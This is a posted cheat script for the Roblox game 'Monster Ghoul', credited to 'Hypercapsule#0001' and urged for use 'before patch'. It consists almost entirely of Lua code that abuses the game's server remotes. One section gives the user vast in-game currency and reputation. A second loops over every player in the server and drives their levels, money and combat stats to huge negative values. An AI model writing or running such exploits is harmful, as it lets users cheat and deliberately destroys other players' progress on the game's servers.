Monster Ghoul Script | INFINITE STATS & NUKE SERVER STATS – USE BEFORE PATCH!

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Created by Hypercapsule#0001

Features:

  • INFINITE STATS
local args = {
   [1] = "1563163",
   [2] = "YenAddButton",
   [3] = -100000000000 
}
 
game:GetService("Players").LocalPlayer.StorageFile.statusfunction:InvokeServer(unpack(args))
wait(1)
local args = {
   [1] = "1563163",
   [2] = "ReputationAddButton",
   [3] = 100000000000 
}
 
game:GetService("Players").LocalPlayer.StorageFile.statusfunction:InvokeServer(unpack(args))
wait(1)
local args = {
    [1] = "Secured1",
    [2] = game:GetService("Players").LocalPlayer.StorageFile
}

game:GetService("ReplicatedStorage").Remotes.ReppCashhout:InvokeServer(unpack(args))

wait(1)
local args = {
   [1] = "1563163",
   [2] = "ReputationAddButton",
   [3] = -100000000000 
}
 
game:GetService("Players").LocalPlayer.StorageFile.statusfunction:InvokeServer(unpack(args))
  • NUKE SERVER STATS
for i,v in pairs(game.Players:GetChildren()) do
bruh = v.Name
local args = {
   [1] = "1563163",
   [2] = "LevelAddButton",
   [3] = -1000000000 
}

game:GetService("Players")[bruh].StorageFile.statusfunction:InvokeServer(unpack(args))
wait()
local args = {
   [1] = "1563163",
   [2] = "YenAddButton",
   [3] = -1000000000 
}

game:GetService("Players")[bruh].StorageFile.statusfunction:InvokeServer(unpack(args))
wait()
local args = {
   [1] = "1563163",
   [2] = "RCAddButton",
   [3] = -1000000000 
}

game:GetService("Players")[bruh].StorageFile.statusfunction:InvokeServer(unpack(args))
wait()
local args = {
   [1] = "1563163",
   [2] = "ReputationAddButton",
   [3] = -1000000000 
}

game:GetService("Players")[bruh].StorageFile.statusfunction:InvokeServer(unpack(args))
wait()
local args = {
   [1] = "1563163",
   [2] = "WeaponAddButton",
   [3] = -1000000000 
}

game:GetService("Players")[bruh].StorageFile.statusfunction:InvokeServer(unpack(args))
wait()
local args = {
   [1] = "1563163",
   [2] = "SpeedAddButton",
   [3] = -1000000000 
}

game:GetService("Players")[bruh].StorageFile.statusfunction:InvokeServer(unpack(args))
wait()
local args = {
   [1] = "1563163",
   [2] = "DurabilityAddButton",
   [3] = -1000000000 
}

game:GetService("Players")[bruh].StorageFile.statusfunction:InvokeServer(unpack(args))
wait()
local args = {
   [1] = "1563163",
   [2] = "2xExpTimeAddButton",
   [3] = 7000000000
}

game:GetService("Players")[bruh].StorageFile.statusfunction:InvokeServer(unpack(args))
end

ENJOY!

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